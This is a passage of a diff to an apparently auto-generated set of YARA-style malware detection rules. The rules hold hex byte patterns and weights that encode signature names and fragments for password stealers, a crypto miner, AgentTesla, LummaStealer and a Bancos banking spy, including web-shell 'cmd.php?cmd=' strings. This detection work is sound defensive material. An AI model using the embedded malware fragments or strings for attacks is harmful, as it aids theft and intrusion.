2f 6d 73 2e 65 78 65 02 00 17 02 63 3a 5c 44 6f 63 75 6d 65 7e 31 5c 7e 23 90 01 01 2e 65 } //18467 - $a_00_1 = {01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 53 75 73 70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 28 01 42 65 68 65 65 72 41 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 70 00 00 05 00 05 00 04 00 21 23 48 53 54 } //25976 - $a_6e_2 = {65 6e 74 54 6f 49 6e 6a 65 63 74 4d 61 70 56 69 65 77 00 01 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 02 00 12 80 01 43 72 65 61 74 65 46 69 6c 65 4d 61 70 70 69 } //14930 + $a_00_1 = {01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 45 46 44 21 4d 54 42 00 05 00 3a 01 00 02 1a 11 10 5a 1a 6f 18 00 00 0a 28 02 00 00 06 13 11 11 11 16 11 0b 11 10 19 5a 11 11 8e 69 28 2f 00 00 0a 00 00 11 10 17 58 13 10 11 10 07 1a 5b fe 04 13 12 11 12 2d c6 00 00 78 70 00 00 05 00 05 00 02 00 21 23 48 53 54 } //25976 + $a_75_2 = {70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 28 01 42 65 68 65 65 72 41 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 } //14930 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_6e_2 & 1)*14930) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_75_2 & 1)*14930) >=4 } -rule _InfrastructureShared_6926{ +rule _InfrastructureShared_7311{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 45 46 44 21 4d 54 42 00 05 00 3a 01 00 02 1a 11 10 5a 1a 6f 18 00 00 0a 28 02 00 00 06 13 11 11 11 16 11 0b 11 10 19 5a 11 11 8e 69 28 2f 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=5 + +} +rule _InfrastructureShared_7312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 53 75 73 70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 28 01 42 65 68 65 65 72 41 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f } //18467 - $a_65_1 = {2e 72 65 73 6f 75 72 63 65 73 00 00 78 70 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 4d 61 70 56 69 65 77 00 01 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 02 00 12 80 01 43 72 65 61 74 65 46 69 6c } //29301 + $a_65_1 = {2e 72 65 73 6f 75 72 63 65 73 00 00 78 70 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 53 58 43 21 4d 54 42 00 03 00 19 03 8d 04 24 50 e8 90 01 04 84 c0 74 0c ff 34 24 e8 90 01 04 84 c0 75 e1 90 00 02 00 27 03 6a 00 b8 04 00 00 00 2b c6 50 8d 04 } //29301 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301) >=5 } -rule _InfrastructureShared_6927{ +rule _InfrastructureShared_7313{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 53 58 43 21 4d 54 42 00 03 00 19 03 8d 04 24 50 e8 90 01 04 84 c0 74 0c ff 34 24 e8 90 01 04 84 c0 75 e1 90 00 02 00 27 03 6a 00 b8 04 00 00 00 2b c6 50 } //21539 + $a_50_1 = {b3 c8 21 00 00 ff 15 90 01 04 83 f8 ff 74 1a 03 f0 83 fe 04 7c da 90 00 00 00 78 70 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 4d 61 70 56 69 } //1165 + condition: + ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*1165) >=5 + +} +rule _InfrastructureShared_7314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 4d 61 70 56 69 65 77 00 01 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 02 00 12 80 01 43 72 65 61 74 65 46 69 6c 65 4d 61 70 70 69 6e 67 41 02 00 0d } //18467 - $a_61_1 = {56 69 65 77 4f 66 46 69 6c 65 00 00 78 70 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 46 72 65 74 68 6f 67 2e 4c 00 01 00 10 01 51 33 36 30 53 61 66 65 4d 6f 6e 43 6c 61 73 73 01 00 0a 01 53 74 61 72 74 } //384 - $a_6b_2 = {01 00 09 01 53 74 6f 70 48 6f 6f 6b 32 01 00 0c 00 4b 56 58 50 5f 4d 6f 6e 69 74 6f 72 01 00 0b 00 46 69 6e 64 57 69 6e 64 6f 77 41 00 00 78 70 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 51 6a 77 6d 6f 6e 6b 65 79 2e 51 31 00 01 00 09 80 01 31 5f 33 36 30 2e 65 78 65 01 00 0f 80 01 64 61 74 61 2e 67 6f 6f 73 61 69 2e 63 6f 6d 01 } //28488 - $a_01_3 = {61 70 69 2e 62 61 69 7a 68 75 2e 63 63 01 00 0a 80 01 42 5a 44 6f 77 6e 6c 6f 61 64 01 00 0c 80 01 61 70 69 2f 72 70 74 71 75 65 72 79 00 00 78 70 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 6d 72 69 67 2e 4e 47 21 4d 54 42 00 03 00 20 03 48 8b 1d b2 8a 00 00 48 89 f8 48 29 d8 48 83 f8 0c 7c 90 01 01 48 8b 1d 9f 8a 00 00 83 3b 90 00 03 00 } //3328 + $a_61_1 = {56 69 65 77 4f 66 46 69 6c 65 00 00 78 70 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 02 00 10 80 01 73 74 61 74 73 2e 68 6b 69 6a 6e 67 79 2e 6d 65 01 00 11 80 01 63 64 6e 2e 76 72 76 72 76 } //384 + $a_70_2 = {63 6f 6d 01 00 15 80 01 53 74 61 74 69 73 74 69 63 73 53 65 72 76 69 63 65 2e 73 76 63 01 00 0a 80 01 76 6f 74 67 75 69 2e 65 78 65 00 00 78 70 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 46 72 65 74 68 6f 67 2e 4c 00 01 00 10 01 51 33 36 30 53 61 66 65 4d 6f 6e 43 6c 61 73 73 01 00 0a 01 53 74 61 72 74 48 } //24946 + $a_32_3 = {00 09 01 53 74 6f 70 48 6f 6f 6b 32 01 00 0c 00 4b 56 58 50 5f 4d 6f 6e 69 74 6f 72 01 00 0b 00 46 69 6e 64 57 69 6e 64 6f 77 41 00 00 78 70 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 51 6a 77 6d 6f 6e 6b 65 79 2e 51 31 00 01 00 09 80 01 31 5f 33 36 30 2e 65 78 65 01 00 0f 80 01 64 61 74 61 2e 67 6f 6f 73 61 69 2e 63 } //28527 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*384+(#a_6b_2 & 1)*28488+(#a_01_3 & 1)*3328) >=5 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*384+(#a_70_2 & 1)*24946+(#a_32_3 & 1)*28527) >=5 } -rule _InfrastructureShared_6928{ +rule _InfrastructureShared_7315{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 02 00 10 80 01 73 74 61 74 73 2e 68 6b 69 6a 6e 67 79 2e 6d 65 01 00 11 80 01 63 64 6e 2e 76 72 76 72 76 72 61 70 70 2e 63 6f 6d 01 00 15 80 01 53 74 61 74 69 73 74 69 63 73 53 65 72 76 69 63 65 2e 73 76 63 01 00 } //20515 + $a_76_1 = {74 } //-32758 t + $a_2e_2 = {78 65 00 00 78 70 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 46 72 65 74 68 6f 67 2e 4c 00 01 00 10 01 51 33 36 30 53 61 66 65 4d 6f 6e 43 6c 61 73 73 01 00 0a 01 53 74 61 72 74 48 6f 6f 6b 32 01 00 09 01 53 74 6f 70 48 6f 6f 6b 32 01 00 0c 00 4b 56 58 50 5f 4d 6f 6e 69 74 6f 72 01 00 } //30055 + $a_69_3 = {64 57 69 6e 64 6f 77 41 00 00 78 70 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 51 6a 77 6d 6f 6e 6b 65 79 2e 51 31 00 01 00 09 80 01 31 5f 33 36 30 2e 65 78 65 01 00 0f 80 01 64 61 74 61 2e 67 6f 6f 73 61 69 } //11 + condition: + ((#a_41_0 & 1)*20515+(#a_76_1 & 1)*-32758+(#a_2e_2 & 1)*30055+(#a_69_3 & 1)*11) >=5 + +} +rule _InfrastructureShared_7316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -72492,7 +76590,7 @@ rule _InfrastructureShared_6928{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28493+(#a_6f_2 & 1)*28279+(#a_7b_3 & 1)*0+(#a_4d_4 & 1)*-7620) >=5 } -rule _InfrastructureShared_6929{ +rule _InfrastructureShared_7317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -72505,7 +76603,7 @@ rule _InfrastructureShared_6929{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32756+(#a_74_2 & 1)*29231+(#a_83_3 & 1)*22669) >=5 } -rule _InfrastructureShared_6930{ +rule _InfrastructureShared_7318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -72516,7 +76614,7 @@ rule _InfrastructureShared_6930{ ((#a_54_0 & 1)*18467+(#a_8a_1 & 1)*1419) >=6 } -rule _InfrastructureShared_6931{ +rule _InfrastructureShared_7319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -72527,7 +76625,7 @@ rule _InfrastructureShared_6931{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*11416) >=6 } -rule _InfrastructureShared_6932{ +rule _InfrastructureShared_7320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -72540,7 +76638,7 @@ rule _InfrastructureShared_6932{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*21761+(#a_74_2 & 1)*25632+(#a_00_3 & 1)*66) >=6 } -rule _InfrastructureShared_6933{ +rule _InfrastructureShared_7321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -72552,7 +76650,7 @@ rule _InfrastructureShared_6933{ ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_6f_3 & 1)*21562) >=8 } -rule _InfrastructureShared_6934{ +rule _InfrastructureShared_7322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -72562,7 +76660,7 @@ rule _InfrastructureShared_6934{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6935{ +rule _InfrastructureShared_7323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -72574,7 +76672,7 @@ rule _InfrastructureShared_6935{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24940+(#a_00_2 & 1)*28271) >=12 } -rule _InfrastructureShared_6936{ +rule _InfrastructureShared_7324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -72585,7 +76683,7 @@ rule _InfrastructureShared_6936{ ((#a_5f_0 & 1)*16931+(#a_58_1 & 1)*11826) >=12 } -rule _InfrastructureShared_6937{ +rule _InfrastructureShared_7325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -72599,7 +76697,7 @@ rule _InfrastructureShared_6937{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*24946+(#a_0c_2 & 1)*-30463+(#a_77_3 & 1)*17440+(#a_61_4 & 1)*25190) >=13 } -rule _InfrastructureShared_6938{ +rule _InfrastructureShared_7326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -72610,7 +76708,7 @@ rule _InfrastructureShared_6938{ ((#a_54_0 & 1)*18467+(#a_fc_1 & 1)*-30463) >=15 } -rule _InfrastructureShared_6939{ +rule _InfrastructureShared_7327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 02 00 21 " @@ -72621,7 +76719,7 @@ rule _InfrastructureShared_6939{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*17458) >=16 } -rule _InfrastructureShared_6940{ +rule _InfrastructureShared_7328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -72631,7 +76729,7 @@ rule _InfrastructureShared_6940{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_6941{ +rule _InfrastructureShared_7329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -72642,7 +76740,7 @@ rule _InfrastructureShared_6941{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*17496) >=200 } -rule _InfrastructureShared_6942{ +rule _InfrastructureShared_7330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -72653,7 +76751,7 @@ rule _InfrastructureShared_6942{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*313) >=200 } -rule _InfrastructureShared_6943{ +rule _InfrastructureShared_7331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72663,7 +76761,7 @@ rule _InfrastructureShared_6943{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6944{ +rule _InfrastructureShared_7332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72673,7 +76771,7 @@ rule _InfrastructureShared_6944{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6945{ +rule _InfrastructureShared_7333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72683,7 +76781,7 @@ rule _InfrastructureShared_6945{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6946{ +rule _InfrastructureShared_7334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72693,7 +76791,17 @@ rule _InfrastructureShared_6946{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6947{ +rule _InfrastructureShared_7335{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 49 21 64 68 61 00 01 00 40 42 48 8d 7f 04 33 03 48 8d 5b 04 89 47 fc 48 8d 04 1e 48 3d 90 01 04 76 90 01 01 48 8d 8d 90 01 04 e8 90 01 04 0f b6 85 90 01 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_7336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72703,7 +76811,7 @@ rule _InfrastructureShared_6947{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6948{ +rule _InfrastructureShared_7337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72713,7 +76821,7 @@ rule _InfrastructureShared_6948{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6949{ +rule _InfrastructureShared_7338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72723,7 +76831,7 @@ rule _InfrastructureShared_6949{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6950{ +rule _InfrastructureShared_7339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72733,7 +76841,7 @@ rule _InfrastructureShared_6950{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6951{ +rule _InfrastructureShared_7340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72743,7 +76851,7 @@ rule _InfrastructureShared_6951{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6952{ +rule _InfrastructureShared_7341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72753,7 +76861,7 @@ rule _InfrastructureShared_6952{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6953{ +rule _InfrastructureShared_7342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72763,7 +76871,7 @@ rule _InfrastructureShared_6953{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6954{ +rule _InfrastructureShared_7343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72773,7 +76881,7 @@ rule _InfrastructureShared_6954{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6955{ +rule _InfrastructureShared_7344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72783,7 +76891,7 @@ rule _InfrastructureShared_6955{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6956{ +rule _InfrastructureShared_7345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72793,7 +76901,7 @@ rule _InfrastructureShared_6956{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6957{ +rule _InfrastructureShared_7346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72803,7 +76911,7 @@ rule _InfrastructureShared_6957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6958{ +rule _InfrastructureShared_7347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72813,7 +76921,7 @@ rule _InfrastructureShared_6958{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6959{ +rule _InfrastructureShared_7348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72823,7 +76931,7 @@ rule _InfrastructureShared_6959{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6960{ +rule _InfrastructureShared_7349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72833,7 +76941,7 @@ rule _InfrastructureShared_6960{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6961{ +rule _InfrastructureShared_7350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72843,7 +76951,17 @@ rule _InfrastructureShared_6961{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6962{ +rule _InfrastructureShared_7351{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 49 41 21 4d 54 42 00 01 00 3e 03 31 c0 83 f8 90 01 01 74 90 01 01 8a 8c 04 90 01 04 30 4c 04 90 01 01 40 eb 90 01 01 8d 84 24 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -72853,7 +76971,7 @@ rule _InfrastructureShared_6962{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6963{ +rule _InfrastructureShared_7353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -72864,7 +76982,7 @@ rule _InfrastructureShared_6963{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*1025) >=1 } -rule _InfrastructureShared_6964{ +rule _InfrastructureShared_7354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -72875,7 +76993,7 @@ rule _InfrastructureShared_6964{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-11593) >=1 } -rule _InfrastructureShared_6965{ +rule _InfrastructureShared_7355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -72886,19 +77004,19 @@ rule _InfrastructureShared_6965{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*18119) >=1 } -rule _InfrastructureShared_6966{ +rule _InfrastructureShared_7356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 42 5a 21 53 6c 65 65 70 00 01 00 17 03 68 88 13 00 00 ff 15 90 01 03 00 90 02 0a f3 0f 90 02 10 f3 0f 90 00 01 00 1b 03 68 30 75 00 00 ff 15 90 02 0a 0f bf 90 02 10 0f 90 02 10 e9 90 02 0a f3 0f 90 00 01 00 13 03 68 30 75 } //18467 - $a_15_1 = {02 10 f2 0f 90 02 10 f2 0f 90 00 00 00 78 71 00 00 01 00 01 00 03 00 21 23 54 45 4c 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 79 69 6e 65 74 2e 41 21 64 68 61 00 01 00 10 01 8b 8f 97 04 00 00 6a 16 58 50 89 45 e8 ff 51 0c 01 00 0e 01 ff 55 7c 89 46 20 8d 45 6c 50 57 ff 55 7c 01 00 19 01 ff 90 10 02 00 00 48 8b 84 24 40 10 00 00 48 8d 4c 24 30 ff 90 e8 00 00 00 00 00 78 71 00 00 01 00 01 00 05 00 21 23 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 67 65 6e 21 4b 5f 39 00 01 00 0e 01 4c 6f 67 69 6e 20 6f 75 20 73 65 6e 68 61 01 00 0d 01 63 6d 64 2e 70 68 70 3f 70 61 73 73 3d 01 00 0c 01 63 6d 64 2e 70 68 70 3f 63 6d 64 3d 01 00 05 01 42 68 6f 4f 4b 01 00 08 01 25 42 68 25 6f 25 4f 4b 00 00 78 71 00 00 02 00 02 00 } //0 - $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 53 4a 49 21 4d 54 } //1 LF:Trojan:MSIL/AgentTesla.PSJI!MT + $a_15_1 = {02 10 f2 0f 90 02 10 f2 0f 90 00 00 00 78 71 00 00 01 00 01 00 03 00 21 23 54 45 4c 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 79 69 6e 65 74 2e 41 21 64 68 61 00 01 00 10 01 8b 8f 97 04 00 00 6a 16 58 50 89 45 e8 ff 51 0c 01 00 0e 01 ff 55 7c 89 46 20 8d 45 6c 50 57 ff 55 7c 01 00 19 01 ff 90 10 02 00 00 48 8b 84 24 40 10 00 00 48 8d 4c 24 30 ff 90 e8 00 00 00 00 00 78 71 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 41 21 64 68 61 00 01 00 0d 80 01 77 73 73 68 65 6c 6c 2f 63 6f 72 65 2f 01 00 0d 80 01 77 73 73 68 65 6c 6c 2f 6c 69 62 73 2f 01 00 0c 80 01 77 73 73 6f 66 74 2f 63 6f 72 65 2f 01 00 0c 80 01 77 73 73 6f 66 74 2f 6c 69 62 73 2f 00 00 78 71 00 00 01 00 01 00 } //0 + $a_23_2 = {72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 67 65 6e 21 4b 5f 39 00 01 00 0e } //5 condition: - ((#a_54_0 & 1)*18467+(#a_15_1 & 1)*0+(#a_23_2 & 1)*1) >=1 + ((#a_54_0 & 1)*18467+(#a_15_1 & 1)*0+(#a_23_2 & 1)*5) >=1 } -rule _InfrastructureShared_6967{ +rule _InfrastructureShared_7357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -72909,7 +77027,20 @@ rule _InfrastructureShared_6967{ ((#a_4c_0 & 1)*21539+(#a_02_2 & 1)*-28417) >=1 } -rule _InfrastructureShared_6968{ +rule _InfrastructureShared_7358{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 41 21 64 68 61 00 01 00 0d 80 01 77 73 73 68 65 6c 6c 2f 63 6f 72 65 2f 01 00 0d 80 01 77 73 73 68 65 6c 6c 2f 6c 69 62 73 2f 01 00 0c 80 01 77 73 73 6f 66 74 } //16675 + $a_72_1 = {2f 01 00 0c 80 01 77 73 73 6f 66 74 2f 6c 69 62 73 2f 00 00 78 71 00 00 01 00 01 00 05 00 21 23 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 67 65 6e 21 4b 5f 39 00 01 00 0e 01 4c 6f 67 69 6e 20 6f 75 20 73 65 6e 68 61 01 00 0d 01 63 6d 64 2e 70 68 70 3f 70 61 73 73 3d 01 00 0c 01 63 6d 64 2e 70 68 70 3f 63 } //25391 + $a_01_2 = {00 05 01 42 68 6f 4f 4b 01 00 08 01 25 42 68 25 6f 25 4f 4b 00 00 78 71 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //25709 + $a_49_3 = {4d 54 42 00 02 00 3f 03 11 00 72 df 9b 01 70 72 90 01 03 70 28 db 00 00 06 72 90 01 03 70 72 90 01 03 70 28 db 00 00 06 72 90 01 03 70 72 90 01 03 70 6f 6e 00 00 0a 13 00 20 74 00 00 00 38 c5 de ff ff 00 02 90 00 00 00 78 } //21328 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25391+(#a_01_2 & 1)*25709+(#a_49_3 & 1)*21328) >=1 + +} +rule _InfrastructureShared_7359{ meta: description = 